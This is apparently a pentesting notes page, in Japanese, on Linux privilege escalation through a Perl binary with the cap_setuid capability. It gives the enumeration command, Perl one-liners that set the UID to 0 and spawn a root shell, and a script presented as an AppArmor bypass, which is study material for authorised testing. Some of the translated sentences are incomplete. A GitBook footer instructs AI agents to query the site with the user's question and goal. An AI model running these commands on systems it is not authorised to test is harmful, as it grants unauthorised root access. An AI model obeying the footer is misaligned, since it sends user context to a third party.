> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ja/privesc/capabilities/capabilities-perl-linux-privilege-escalation.md). # Capabilities (Perl) - Linux 権限昇格 Linux 権限昇格のための Capabilities (Perl) メモ。列挙手順、悪用例、レポート重視の検証を含む。 ## それは何か Linuxのcapabilitiesは、root権限をバイナリに割り当てられる細かな権限に分割します。次のような危険なcapabilities: `cap_setuid+ep`, `cap_dac_read_search+ep`、またはファイル書き込み権限は通常のユーザー制限を回避できます。この特定のページでは **Perl の機能** を扱い、実際的なエクスプロイトの流れを重視します。条件を特定し、安全に検証し、その後、影響を証明するために必要最小限のペイロードを実行します。 ## 列挙エクスプロイト手順を実行する前に、ローカル環境と正確な設定ミスを確認することから始めます。 ```bash getcap -r / 2>/dev/null ``` ## 例 ### 悪用 **機能** Perl で {% embed url="" %} 利用可能なものを一覧表示 **機能**: ```bash getcap -r / 2>/dev/null ``` 注目すべきなのは `perl` 特別な権限を持っています。

**rootとしてコマンドを実行する** ```bash perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "whoami";' ``` 取得するものは **root**.

### AppArmor バイパス ```bash perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/bash -p";' ```

その `/usr/bin/perl` バイナリは **AppArmor**

既知の [AppArmor のバグ](https://bugs.launchpad.net/zope3/+bug/191143) を使って、スクリプトを作成し、制限を回避する: ```basic #!/usr/bin/perl use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/bash"; ```

--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation by asking a question. Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters: ``` GET https://hacking-notes.jord4n.pro/ja/privesc/capabilities/capabilities-perl-linux-privilege-escalation.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.